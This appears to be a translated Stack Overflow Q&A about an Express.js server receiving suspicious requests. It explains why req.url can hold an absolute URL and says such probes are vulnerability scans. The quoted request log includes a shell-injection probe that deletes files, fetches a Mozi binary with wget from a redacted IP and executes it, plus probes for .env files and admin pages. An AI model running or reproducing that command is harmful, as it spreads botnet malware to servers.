首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >高速公路req.url路径如何成为另一个url?

高速公路req.url路径如何成为另一个url?
EN

Stack Overflow用户
提问于 2021-08-31 15:43:33
回答 1查看 149关注 0票数 1

最近,我发现正在向我的节点快速服务器发出可疑请求。所以我编写了一个中间件来记录请求urls。是否记录了许多可疑的请求路径,其中大多数以“/”开头,但是有些路径实际上是另一个url。这怎么可能在明示请求?我试着搜索这个,但什么也没找到。这些请求是否会危及节点服务器的安全性。(例如,req.url显示为http://icanhazip.com/ )

我的log.txt文件

代码语言:javascript
复制
/wp-content/
/owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
/shell?cd+/tmp;rm+-rf+*;wget+http://AN_IP_WAS_HERE:40222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/.env
/.env
http://example.com/<-- how is this possible in express request ?
/boaform/admin/formLogin
http://icanhazip.com/  <-- how is this possible in express request ?

用于记录请求的代码

代码语言:javascript
复制
app.use((req,res,next) => {
    var isvalid = true;

    //some validation code here

    if(!isvalid){
        fs.appendFileSync("./log.txt", "\r\n"+ req.url);
        res.send("...");
    } else next();
});
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2021-08-31 15:56:55

在快速请求中这是怎么可能的?

一个非常基本的HTTP请求如下所示:

代码语言:javascript
复制
GET /your/path HTTP/1.1

任何正常的客户都会在那里找到一条明智的道路。

如果您正在编写自己的客户端,或者手工构建请求(例如,键入连接到HTTP端口的telnet客户端),那么您可以在那里编写您喜欢的任何内容:

代码语言:javascript
复制
GET http://example.com/ HTTP/1.1

可能会损害节点服务器的安全性。

一般不会。他们正在寻找一个可以利用的安全漏洞。不要用用户输入来做不安全的事情,要及时更新您所依赖的模块的安全补丁,这样您就会没事的。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/69001693

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档